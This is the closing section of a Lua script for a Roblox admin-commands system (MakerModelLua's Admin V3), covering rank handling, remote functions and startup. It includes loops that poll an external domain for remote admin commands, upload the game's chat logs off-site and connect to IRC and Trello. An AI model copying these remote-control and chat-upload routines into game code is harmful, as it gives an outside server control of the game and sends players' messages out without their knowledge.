8900 wait()
8901 local Request = PendingRequests[Player]
8902 if Request then
8903 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
8904 if Settings.Ranks[Request[1]] then
8905 PendingRequests[Player] = nil
8906 table.insert(Settings.Ranks[Request[1]], Player.Name)
8907 GUI:TellAdmin(Player)
8908 end
8909 end
8910 end
8911end
8912
8913RankPlayerServer.OnInvoke = function(Player, Rank)
8914 if not RANK:IsAdmin(Player) then
8915 PendingRequests[Player] = {Rank, tick()}
8916 end
8917end
8918
8919IsAdmin.OnServerInvoke = function(Player)
8920 local IsFullAdmin = false
8921 for _,PName in pairs(Settings.Ranks["Owner"]) do
8922 if PName == Player.Name then IsFullAdmin = true end
8923 end
8924 for _,PName in pairs(Settings.Ranks["Admin"]) do
8925 if PName == Player.Name then IsFullAdmin = true end
8926 end
8927 return IsFullAdmin
8928end
8929
8930AddExploit.OnServerInvoke = CORE.AddExploit
8931AddExploitServer.OnInvoke = CORE.AddExploit
8932
8933KickClient.OnServerInvoke = function(PlayerClient)
8934 PlayerClient:Kick()
8935end
8936
8937ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
8938 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
8939end
8940
8941for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
8942Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
8943Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
8944
8945coroutine.wrap(function()
8946 for _,ID in pairs(Icons) do
8947 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
8948 end
8949end)()
8950
8951CORE:SetAbuseCommands()
8952
8953coroutine.wrap(function() SOUND:SyncSoundList() end)()
8954if not IsStudio then coroutine.wrap(function()
8955 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
8956 REMOTE:GetRemoteData(true)
8957 coroutine.wrap(function()
8958 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
8959 REMOTE.RemoteConnection = true
8960 end
8961 end)()
8962 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
8963 coroutine.wrap(function()
8964 if Settings.LinkedAccount ~= "" then
8965 local Request = nil
8966 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
8967 if Request then
8968 REMOTE:HandleRequest(Request, true)
8969 end
8970 end
8971 end)()
8972 coroutine.wrap(function()
8973 wait(RemoteData.RemoteAdminWait)
8974 while REMOTE:GetAndSetWebData() do
8975 wait(RemoteData.RemoteAdminWait)
8976 end
8977 end)()
8978 coroutine.wrap(function()
8979 while wait(60) do
8980 REMOTE:GetRemoteData(true)
8981 end
8982 end)()
8983end)() end
8984coroutine.wrap(function()
8985 if Settings.TrelloToken ~= "" then
8986 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8987 if #Trello.RequiredLists > 0 then
8988 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8989 if Trello.MainBoard.name then
8990 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8991 REMOTE:TrelloCacheData(Lists)
8992 REMOTE:TrelloHandleData(true)
8993 coroutine.wrap(function()
8994 wait(RemoteData.TrelloWait)
8995 while REMOTE:TrelloHandleData() do
8996 wait(RemoteData.TrelloWait)
8997 end
8998 end)()
8999 end
9000 end
9001 else
9002 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9003 end
9004end)()
9005coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9006 REMOTE:SendChatLog()
9007end end)()
9008coroutine.wrap(function() while true do
9009 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9010 if ThisDate then Date = ThisDate end
9011 wait(600)
9012end end)()
9013
9014print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")